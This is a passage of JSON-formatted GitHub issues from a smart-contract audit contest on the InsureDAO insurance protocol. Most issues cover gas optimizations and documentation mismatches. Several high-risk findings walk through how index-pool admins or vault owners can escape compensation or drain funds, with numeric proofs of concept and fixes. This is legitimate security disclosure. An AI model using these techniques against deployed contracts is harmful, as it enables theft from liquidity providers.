`incident.payoutNumerator` to a variable as it's used only once in the method. ## Tools Used VS Code ## Recommended Mitigation Steps Do not store this data in a variable "}, {"title": "Insurance Pool Locking Does Not Propagate To All Markets", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/347", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "Insurance Pool Locking Does Not Propagate To All Markets"}, {"title": "Gas: `PoolTemplate:initialize()::_conditions` should be a fixed array of size 2", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/345", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "Gas: `PoolTemplate:initialize()::_conditions` should be a fixed array of size 2"}, {"title": "Gas: Avoid expensive calculation by checking if `valueAll() == 0`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/344", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Checking if the value is 0 before returning 0 is less expensive than returning a calculation that's equal to 0 ## Proof of Concept In `Vault.sol:underlyingValue()`, the code is as follows: ``` Vault.sol 400: function underlyingValue(address _target) 401: public 402: view 403: override 404: returns (uint256) 405: { 406: if (attributions[_target] > 0) { 407: return (valueAll() * attributions[_target]) / totalAttributions; 408: } else { 409: return 0; 410: } 411: } ``` It can be optimized as such: ``` 406: uint256 valueAll = valueAll(); 407: if (valueAll != 0 && attributions[_target] > 0) { 408: return (valueAll * attributions[_target]) / totalAttributions; 409: } else { 410: return 0; 411: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Cache the loaded storage value in a memory variable and make the 0 checks to avoid unnecessary calculations if `valueAll() == 0` "}, {"title": "Gas: Cache `attributions[_target]` in `Vault.sol:underlyingValue()`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/343", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact SLOADs are expensive ## Proof of Concept Here, `attributions[_target]` can be loaded twice from storage: ``` Vault.sol 400: function underlyingValue(address _target) 401: public 402: view 403: override 404: returns (uint256) 405: { 406: if (attributions[_target] > 0) { 407: return (valueAll() * attributions[_target]) / totalAttributions; 408: } else { 409: return 0; 410: } 411: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Cache the loaded storage value in a memory variable "}, {"title": "Pause check missing on the several functions (PoolTemplate)", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/339", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "Pause check missing on the several functions (PoolTemplate)"}, {"title": "Misleading comments and documentation", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/337", "labels": ["bug", "0 (Non-critical)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle pauliax # Vulnerability details ## Impact There are some issues with comments/documentation, e.g.: Misleading comment: ```solidity * @return true if the id within the market already exists function getCDS(address _address) external view override returns (address) ``` No such function (present in documentation): ```solidity function getInsuranceCount(address _user) ``` \"getInsuranceCount returns how many insurance policies the specified user has.\" ## Recommended Mitigation Steps Consider revisiting and updating discrepancies between the documentation and comments. "}, {"title": "Ordering importance in a struct", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/334", "labels": ["bug", "help wanted", "0 (Non-critical)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Kumpirmafyas # Vulnerability details ## Impact The order of the \"struct Template\" in the Factory.sol contract is as follows: 1-bool isOpen 2-bool approval 3-bool allowDuplicate https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L44-L48 The struct above is used in functions as value, in the \"key=>value\" part in this mapping. https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L49 When using \"template\" mapping in this function, it is not done in the defined order, Detail: - isOpen bool , defined in Struct in the 1st row, -isOpen bool ,defined in the 1st position in Mapping, naturally -isOpen bool is defined in the 2nd row in the \"approveTemplate\" function below. -The same applies to the approvel bool struct. https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L101-L103 The problem here is; The order in which Structs are used in a Function is not. Problem ; The order of the structs in the \"key => value\" mapping definition affects the function. Sequencing is important in struct definition in mappings. ## Recommended Mitigation Steps The order in the struct = the order in the mapping = the order in the function must be the same. Here ; Sorting in Mapping with Struct is a mandatory condition, while sorting in a function is within the scope of clean code. "}, {"title": "Order of statements", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/332", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Statements should be ordered in a way that it costs less gas, that is, less operations are performed when the validating conditions are wrong. e.g. this can be reordered: ```solidity //Distribute premium and fee uint256 _endTime = _span + block.timestamp; uint256 _premium = getPremium(_amount, _span); uint256 _fee = parameters.getFeeRate(msg.sender); require( _amount <= availableBalance(), \"ERROR: INSURE_EXCEEDED_AVAILABLE_BALANCE\" ); require(_premium <= _maxCost, \"ERROR: INSURE_EXCEEDED_MAX_COST\"); require(_span <= 365 days, \"ERROR: INSURE_EXCEEDED_MAX_SPAN\"); require( parameters.getMinDate(msg.sender) <= _span, \"ERROR: INSURE_SPAN_BELOW_MIN\" ); require( marketStatus == MarketStatus.Trading, \"ERROR: INSURE_MARKET_PENDING\" ); require(paused == false, \"ERROR: INSURE_MARKET_PAUSED\"); ``` to something like this: ```solidity require(paused == false, \"ERROR: INSURE_MARKET_PAUSED\"); require( marketStatus == MarketStatus.Trading, \"ERROR: INSURE_MARKET_PENDING\" ); require( _amount <= availableBalance(), \"ERROR: INSURE_EXCEEDED_AVAILABLE_BALANCE\" ); require(_span <= 365 days, \"ERROR: INSURE_EXCEEDED_MAX_SPAN\"); require( parameters.getMinDate(msg.sender) <= _span, \"ERROR: INSURE_SPAN_BELOW_MIN\" ); //Distribute premium and fee uint256 _premium = getPremium(_amount, _span); require(_premium <= _maxCost, \"ERROR: INSURE_EXCEEDED_MAX_COST\"); uint256 _endTime = _span + block.timestamp; uint256 _fee = parameters.getFeeRate(msg.sender); ``` "}, {"title": "Gas: Cache `_fee[_target]` in `Parameters.sol:getFeeRate()`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/320", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact SLOADs are expensive ## Proof of Concept Here, `_fee[_target]` can be loaded twice from storage: ``` 271: function getFeeRate(address _target) 272: external 273: view 274: override 275: returns (uint256) 276: { 277: if (_fee[_target] == 0) { 278: return _fee[address(0)]; 279: } else { 280: return _fee[_target]; 281: } 282: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Cache the storage reading in a memory variable "}, {"title": "Gas Optimization: Use unchecked for safe math", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/317", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle gzeon # Vulnerability details ## Impact Use unchecked for safe math to save gas, for example: https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/PremiumModels/BondingPremium.sol#L176 ``` premiumRate = premiumRate / T_1 / (u1 - u2) / BASE; ``` Since we have 1) T_1 != 0 (L229) 2) (u1 - u2) != 0 (L126-132) 3) BASE != 0 (L28) we can safely wrap this line in an unchecked block "}, {"title": "Add a timelock to `Parameters:setFeeRate`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/315", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "Add a timelock to `Parameters:setFeeRate`"}, {"title": "Validate _to is not empty", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/314", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle pauliax # Vulnerability details ## Impact _withdrawAttribution should validate that _to is not an empty address 0x0 to prevent accidental burns. Similarly, transferValue _destination param and withdrawValue _to param should also be checked against an empty address unless this is the intended functionality in some cases. ## Recommended Mitigation Steps require _to != address(0) "}, {"title": "getLockup and getWithdrawable can change after withdrawalReq is initiated", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/312", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "getLockup and getWithdrawable can change after withdrawalReq is initiated"}, {"title": "`targetLev` can be set to 0 in `IndexTemplate:setLeverage`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/311", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Division by 0 or functionally incorrect `targetLev` ## POC A division by `targetLev` is made here : https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L306 and `targetLev` can be set to 0 : https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L575 ## Tools Used VS Code ## Recommended Mitigation Steps Either make a check on `targetLev` before setting it here: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L575 or make a check before the division here: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/IndexTemplate.sol#L306 "}, {"title": "Insurance NFT", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/310", "labels": ["bug", "0 (Non-critical)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "Insurance NFT"}, {"title": "deposit and _depositFrom are almost similar", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/309", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "deposit and _depositFrom are almost similar"}, {"title": "Repeated math operations", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/308", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Can be refactored, from this: ```solidity require( request.timestamp + parameters.getLockup(msg.sender) < block.timestamp, \"ERROR: WITHDRAWAL_QUEUE\" ); require( request.timestamp + parameters.getLockup(msg.sender) + parameters.getWithdrawable(msg.sender) > block.timestamp, \"ERROR: WITHDRAWAL_NO_ACTIVE_REQUEST\" ); ``` to this: ```solidity uint256 unlocksAt = request.timestamp + parameters.getLockup(msg.sender); require( unlocksAt < block.timestamp, \"ERROR: WITHDRAWAL_QUEUE\" ); require( unlocksAt + parameters.getWithdrawable(msg.sender) > block.timestamp, \"ERROR: WITHDRAWAL_NO_ACTIVE_REQUEST\" ); ``` There are more places where this optimization could be applied besides the provided example, but the basic idea is to cache the result of repeated math operation when the value does not change. "}, {"title": "repayDebt optimization", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/307", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle pauliax # Vulnerability details ## Impact function repayDebt could be refactored to reduce deployment and operational costs from this: ```solidity uint256 _debt = debts[_target]; if (_debt >= _amount) { debts[_target] -= _amount; totalDebt -= _amount; IERC20(token).safeTransferFrom(msg.sender, address(this), _amount); } else { debts[_target] = 0; totalDebt -= _debt; IERC20(token).safeTransferFrom(msg.sender, address(this), _debt); } ``` to this: ```solidity uint256 _debt = debts[_target]; if (_debt > _amount) { debts[_target] = _debt - _amount; } else { debts[_target] = 0; _amount = _debt; } totalDebt -= _amount; IERC20(token).safeTransferFrom(msg.sender, address(this), _amount); ``` "}, {"title": "Repeated storage reads", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/306", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Repeated storage read should be cached, e.g. attributions[_target] is read from storage twice: ```solidity if (attributions[_target] > 0) { return (valueAll() * attributions[_target]) / totalAttributions; ``` totalAttributions read twice: ```solidity if (totalAttributions > 0 && _attribution > 0) { return (_attribution * valueAll()) / totalAttributions; ``` available() called twice: ```solidity if (available() < _retVal) { uint256 _shortage = _retVal - available(); ``` would be cheaper to use _token from memory here: ```solidity IERC20(token).safeTransfer(_to, _redundant); ``` There are more places where this optimization could be applied besides the provided examples, but the basic idea is to cache storage variables if you need to access them multiple times when the value does not change. "}, {"title": "Repeated external calls", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/304", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle pauliax # Vulnerability details ## Impact Avoid repeated external calls, e.g. here token balanceOf is queried 4 times: ```solidity if ( ... balance < IERC20(token).balanceOf(address(this)) ) { uint256 _redundant = IERC20(token).balanceOf(address(this)) - balance; ... } else if (IERC20(_token).balanceOf(address(this)) > 0) { IERC20(_token).safeTransfer( _to, IERC20(_token).balanceOf(address(this)) ); } ``` You should query it only once and then use the cached value as it doesn't change between the statements. "}, {"title": "Eliminate else block", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/303", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle pauliax # Vulnerability details ## Impact You dont need this else block, code can be refactored from this: ```solidity if (address(controller) != address(0)) { controller.migrate(address(_controller)); controller = IController(_controller); } else { controller = IController(_controller); } ``` to this: ```solidity if (address(controller) != address(0)) { controller.migrate(address(_controller)); } controller = IController(_controller); ``` "}, {"title": "Gas: Cache `totalLiquidity()` in `IndexTemplate:leverage()`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/301", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact SLOADs are expensive ## Proof of Concept Here, `totalLiquidity()` is loaded twice from storage ``` 491: function leverage() public view returns (uint256 _rate) { 492: //check current leverage rate 493: if (totalLiquidity() > 0) { 494: return (totalAllocatedCredit * MAGIC_SCALE_1E6) / totalLiquidity(); 495: } else { 496: return 0; 497: } 498: } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Cache `totalLiquidity()` in a variable "}, {"title": "Gas: Optimize Conditional Statements in `IndexTemplate.sol:deposit()`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/300", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact It's possible to save gas by optimizing the checks in conditional statements (`if`, `else if` and `else`). This would save a few opcodes and avoid redundant checks. ## Proof of Concept In `IndexTemplate.sol:deposit()`, the code is as follows: ``` 172: if (_supply > 0 && _totalLiquidity > 0) { 173: _mintAmount = (_amount * _supply) / _totalLiquidity; 174: } else if (_supply > 0 && _totalLiquidity == 0) { 175: //when 176: _mintAmount = _amount * _supply; 177: } else { 178: _mintAmount = _amount; 179: } ``` The conditions checks can be optimized with the following (read the `@audit-info` comments for further information): ``` if (_supply == 0) { _mintAmount = _amount; } else if (_totalLiquidity == 0) { // @audit-info : implicit _supply > 0 as above condition is false _mintAmount = _amount * _supply; } else { // @audit-info : implicit _supply > 0 and _totalLiquidity > 0 as both the previous conditions are false _mintAmount = (_amount * _supply) / _totalLiquidity; } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Compact conditions in mentioned logic statements "}, {"title": "`Factory:approveTemplate` could make 1 SSTORE instead of 3", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/298", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Increased gas cost as SSTOREs are very expensive ## Proof of Concept The code is as follows : ``` 094: function approveTemplate( 095: IUniversalMarket _template, 096: bool _approval, 097: bool _isOpen, 098: bool _duplicate 099: ) external override onlyOwner { 100: require(address(_template) != address(0)); 101: templates[address(_template)].approval = _approval; //@audit-info SSTORE 102: templates[address(_template)].isOpen = _isOpen; //@audit-info SSTORE 103: templates[address(_template)].allowDuplicate = _duplicate; //@audit-info SSTORE 104: emit TemplateApproval(_template, _approval, _isOpen, _duplicate); 105: } ``` As we can see, it's making 3 SSTORE operations, one for each boolean. The code could be optimized as follows to save gas : ``` function approveTemplate( IUniversalMarket _template, bool _approval, bool _isOpen, bool _duplicate ) external override onlyOwner { require(address(_template) != address(0)); Template memory approvedTemplate = new Template(_isOpen, _approval, _duplicate); templates[address(_template)] = approvedTemplate; //@audit-info only one SSTORE emit TemplateApproval(_template, _approval, _isOpen, _duplicate); } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Use a memory `Template ` struct and write in storage only once "}, {"title": "Spec error on function: `Factory:setCondition` (difference with code comment)", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/297", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details The spec says the function should be called `approveCondition()` instead of `setCondition`: https://insuredao.gitbook.io/developers/market/factory#approvecondition While this might still be understood nonetheless as `setCondition` is also mentioned, the spec says that the parameter `_slot` is the `index of the reference array`, whereas the code comment says it's the `index within condition array`: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L133 ## Tools Used VS Code ## Recommended Mitigation Steps My guess is that the spec should be corrected "}, {"title": "Spec error on function: `Factory:approveTemplate`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/296", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details The spec doesn't match with the comments in the code here: Code: https://github.com/code-423n4/2022-01-insure/blob/main/contracts/Factory.sol#L90-L91 Spec: https://insuredao.gitbook.io/developers/market/factory#approvetemplate Here, the spec doesn't mention `_isOpen` and seem to confuse the `_approval` description with what `_isOpen` should be. ## Tools Used VS Code ## Recommended Mitigation Steps My guess is that the spec should be corrected "}, {"title": "`requestWithdraw` without obligation to withdraw allow underwriter to avoid payout", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/295", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "`requestWithdraw` without obligation to withdraw allow underwriter to avoid payout"}, {"title": "Inconsistent divide by 0 checks for `totalSupply()`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/287", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact A division by 0 could occur ## Proof of Concept While at some places, a check is made to make sure that `totalSupply() > 0`, it's not consistently the case, such as in the following places: ``` contracts\\CDSTemplate.sol:235: _retVal = (vault.attributionValue(crowdPool) * _amount) / totalSupply(); contracts\\CDSTemplate.sol:318: _balance * vault.attributionValue(crowdPool) / totalSupply(); contracts\\IndexTemplate.sol:216: _retVal = (_liquidty * _amount) / totalSupply(); contracts\\IndexTemplate.sol:530: return (_balance * totalLiquidity()) / totalSupply(); contracts\\PoolTemplate.sol:768: return (_balance * originalLiquidity()) / totalSupply(); ``` At the following places, the check is indeed made: ``` contracts\\IndexTemplate.sol:514: return (totalLiquidity() * MAGIC_SCALE_1E6) / totalSupply(); contracts\\PoolTemplate.sol:747: return (originalLiquidity() * MAGIC_SCALE_1E6) / totalSupply(); ``` ## Tools Used VS Code ## Recommended Mitigation Steps If this check is at least made at some places, this means that `totalSupply()` can indeed take a value of 0. Therefore, a check should always be made to prevent the div by 0 "}, {"title": "Gas: Optimize Conditional Statements in `CDSTemplate.sol:deposit()`", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/285", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Dravee # Vulnerability details ## Impact It's possible to save gas by optimizing the checks in conditional statements (`if`, `else if` and `else`). This would save a few opcodes and avoid redundant checks. ## Proof of Concept In `CDSTemplate.sol:deposit()`, the code is as follows: ``` 140: if (_supply > 0 && _liquidity > 0) { 141: _mintAmount = (_amount * _supply) / _liquidity; 142: } else if (_supply > 0 && _liquidity == 0) { 143: //when vault lose all underwritten asset = 144: _mintAmount = _amount * _supply; //dilute LP token value af. Start CDS again. 145: } else { 146: //when _supply == 0, 147: _mintAmount = _amount; 148: } ``` The conditions checks can be optimized with the following (read the `@audit-info` comments for futher information): ``` if (_supply == 0) { _mintAmount = _amount; } else if (_liquidity == 0) { // @audit-info : implicit _supply > 0 as above condition is false //when vault lose all underwritten asset = _mintAmount = _amount * _supply; //dilute LP token value af. Start CDS again. } else { // @audit-info : implicit _supply > 0 and _liquidity > 0 as both the previous conditions are false _mintAmount = (_amount * _supply) / _liquidity; } ``` ## Tools Used VS Code ## Recommended Mitigation Steps Compact conditions in mentioned logic statements "}, {"title": "Wrong comment on fund function", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/284", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle Fitraldys # Vulnerability details ## Impact In the https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L157 it is the descriptionof the depoist function, and not the correct description for the fund function. ## Proof of Concept https://github.com/code-423n4/2022-01-insure/blob/main/contracts/CDSTemplate.sol#L156-L173 "}, {"title": "[WP-H39] `PoolTemplate.sol#resume()` Wrong implementation of `resume()` will compensate overmuch redeem amount from index pools", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/283", "labels": ["bug", "3 (High Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details ## Root Cause Wrong arithmetic. --- https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/PoolTemplate.sol#L700-L717 ```solidity uint256 _deductionFromIndex = (_debt * _totalCredit * MAGIC_SCALE_1E6) / totalLiquidity(); uint256 _actualDeduction; for (uint256 i = 0; i < indexList.length; i++) { address _index = indexList[i]; uint256 _credit = indicies[_index].credit; if (_credit > 0) { uint256 _shareOfIndex = (_credit * MAGIC_SCALE_1E6) / _totalCredit; uint256 _redeemAmount = _divCeil( _deductionFromIndex, _shareOfIndex ); _actualDeduction += IIndexTemplate(_index).compensate( _redeemAmount ); } } ``` ### PoC - totalLiquidity = 200,000* 10**18; - totalCredit = 100,000 * 10**18; - debt = 10,000 * 10**18; - [Index Pool 1] Credit = 20,000 * 10**18; - [Index Pool 2] Credit = 30,000 * 10**18; ``` uint256 _deductionFromIndex = (_debt * _totalCredit * MAGIC_SCALE_1E6) / totalLiquidity(); // _deductionFromIndex = 10,000 * 10**6 * 10**18; ``` [Index Pool 1]: ``` uint256 _shareOfIndex = (_credit * MAGIC_SCALE_1E6) / _totalCredit; // _shareOfIndex = 200000 uint256 _redeemAmount = _divCeil( _deductionFromIndex, _shareOfIndex ); // _redeemAmount = 25,000 * 10**18; ``` [Index Pool 2]: ``` uint256 _shareOfIndex = (_credit * MAGIC_SCALE_1E6) / _totalCredit; // _shareOfIndex = 300000 uint256 _redeemAmount = _divCeil( _deductionFromIndex, _shareOfIndex ); // _redeemAmount = 16666666666666666666667 (~ 16,666 * 10**18) ``` In most cases, the transaction will revet on underflow at: ``` uint256 _shortage = _deductionFromIndex / MAGIC_SCALE_1E6 - _actualDeduction; ``` In some cases, specific pools will be liable for unfair compensation: If the CSD is empty, `Index Pool 1` only have `6,000 * 10**18` and `Index Pool 2` only have `4,000 * 10**18`, the `_actualDeduction` will be `10,000 * 10**18`, `_deductionFromPool` will be `0`. `Index Pool 1` should only pay `1,000 * 10**18`, but actually paid `6,000 * 10**18`, the LPs of `Index Pool 1` now suffer funds loss. ### Recommendation Change to: ```solidity uint256 _deductionFromIndex = (_debt * _totalCredit * MAGIC_SCALE_1E6) / totalLiquidity(); uint256 _actualDeduction; for (uint256 i = 0; i < indexList.length; i++) { address _index = indexList[i]; uint256 _credit = indicies[_index].credit; if (_credit > 0) { uint256 _shareOfIndex = (_credit * MAGIC_SCALE_1E6) / _totalCredit; uint256 _redeemAmount = _divCeil( _deductionFromIndex * _shareOfIndex, MAGIC_SCALE_1E6 * MAGIC_SCALE_1E6 ); _actualDeduction += IIndexTemplate(_index).compensate( _redeemAmount ); } } ``` "}, {"title": "[WP-G37] Change `public` constant variables to `private` / `internal` can save gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/282", "labels": ["bug", "G (Gas Optimization)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/PoolTemplate.sol#L146-L146 ```solidity uint256 public constant MAGIC_SCALE_1E6 = 1e6; //internal multiplication scale 1e6 to reduce decimal truncation ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/IndexTemplate.sol#L95-L95 ```solidity uint256 public constant MAGIC_SCALE_1E6 = 1e6; //internal multiplication scale 1e6 to reduce decimal truncation ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/CDSTemplate.sol#L55-L55 ```solidity uint256 public constant MAGIC_SCALE_1E6 = 1e6; //internal multiplication scale 1e6 to reduce decimal truncation ``` https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L38-L38 ```solidity uint256 public constant MAGIC_SCALE_1E6 = 1e6; //internal multiplication scale 1e6 to reduce decimal truncation ``` For the constants that should not be `public`, changing them to `private` / `internal` can save some gas. To avoid unnecessary getter functions. "}, {"title": "[WP-H36] Admin of the index pool can `withdrawCredit()` after `applyCover()` to avoid taking loss for the compensation paid for a certain pool", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/281", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details In the current implementation, when an incident is reported for a certain pool, the index pool can still `withdrawCredit()` from the pool, which in the best interest of an index pool, the admin of the index pool is preferred to do so. This allows the index pool to escape from the responsibility for the risks of invested pools. Making the LPs of the pool take an unfair share of the responsibility. ### PoC - Pool A `totalCredit` = 10,000 - Pool A `rewardPerCredit` = 1 1. [Index Pool 1] allocates 1,000 credits to Pool `A`: - `totalCredit` = 11,000 - indicies[Index Pool 1] = 1,000 2. After a while, Pool A `rewardPerCredit` has grown to `1.1`, and `applyCover()` has been called, [Index Pool 1] call `withdrawCredit()` get 100 premium - `totalCredit` = 10,000 - indicies[Index Pool 1] = 0 3. After `pendingEnd`, the pool `resume()`,[ Index Pool 1] will not be paying for the compensation since `credit` is 0. In our case, [Index Pool 1] earned premium without paying for a part of the compensation. ### Recommendation Change to: https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/PoolTemplate.sol#L416-L421 ```solidity function withdrawCredit(uint256 _credit) external override returns (uint256 _pending) { require( marketStatus == MarketStatus.Trading, \"ERROR: WITHDRAW_CREDIT_BAD_CONDITIONS\" ); IndexInfo storage _index = indicies[msg.sender]; ``` "}, {"title": "[WP-H33] `IndexTemplate.sol` Wrong implementation allows lp of the index pool to resume a locked `PayingOut` pool and escape the responsibility for the compensation", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/278", "labels": ["bug", "3 (High Risk)"], "target": "2022-01-insure-findings", "body": "[WP-H33] `IndexTemplate.sol` Wrong implementation allows lp of the index pool to resume a locked `PayingOut` pool and escape the responsibility for the compensation"}, {"title": "using operator `&&` used more gas", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/274", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "using operator `&&` used more gas"}, {"title": "[WP-H30] A malicious/compromised Registry or Factory admin can drain all the funds from the Vault contracts", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/272", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "[WP-H30] A malicious/compromised Registry or Factory admin can drain all the funds from the Vault contracts"}, {"title": "[WP-H29] `Vault#setController()` owner of the Vault contracts can drain funds from the Vault", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/271", "labels": ["bug", "3 (High Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2022-01-insure-findings", "body": "[WP-H29] `Vault#setController()` owner of the Vault contracts can drain funds from the Vault"}, {"title": "[WP-L28] `Vault#_unutilize()` Lack of validation for the amount of funds received", "html_url": "https://github.com/code-423n4/2022-01-insure-findings/issues/270", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2022-01-insure-findings", "body": "# Handle WatchPug # Vulnerability details https://github.com/code-423n4/2022-01-insure/blob/19d1a7819fe7ce795e6d4814e7ddf8b8e1323df3/contracts/Vault.sol#L429-L434 ```solidity function _unutilize(uint256 _amount) internal { require(address(controller) != address(0), \"ERROR_CONTROLLER_NOT_SET\"); controller.withdraw(address(this), _amount); balance += _amount; } ``` ### Recommendation Can be changed to: ```solidity function _unutilize(uint256 _amount) internal { require(address(controller) != address(0), \"ERROR_CONTROLLER_NOT_SET\"); uint256 beforeBalance = IERC20(token).balanceOf(address(this)); controller.withdraw(address(this), _amount); uint256 received = IERC20(token).balanceOf(address(this)) - beforeBalance; require(received >= _amount, \"...\"); balance += received; } 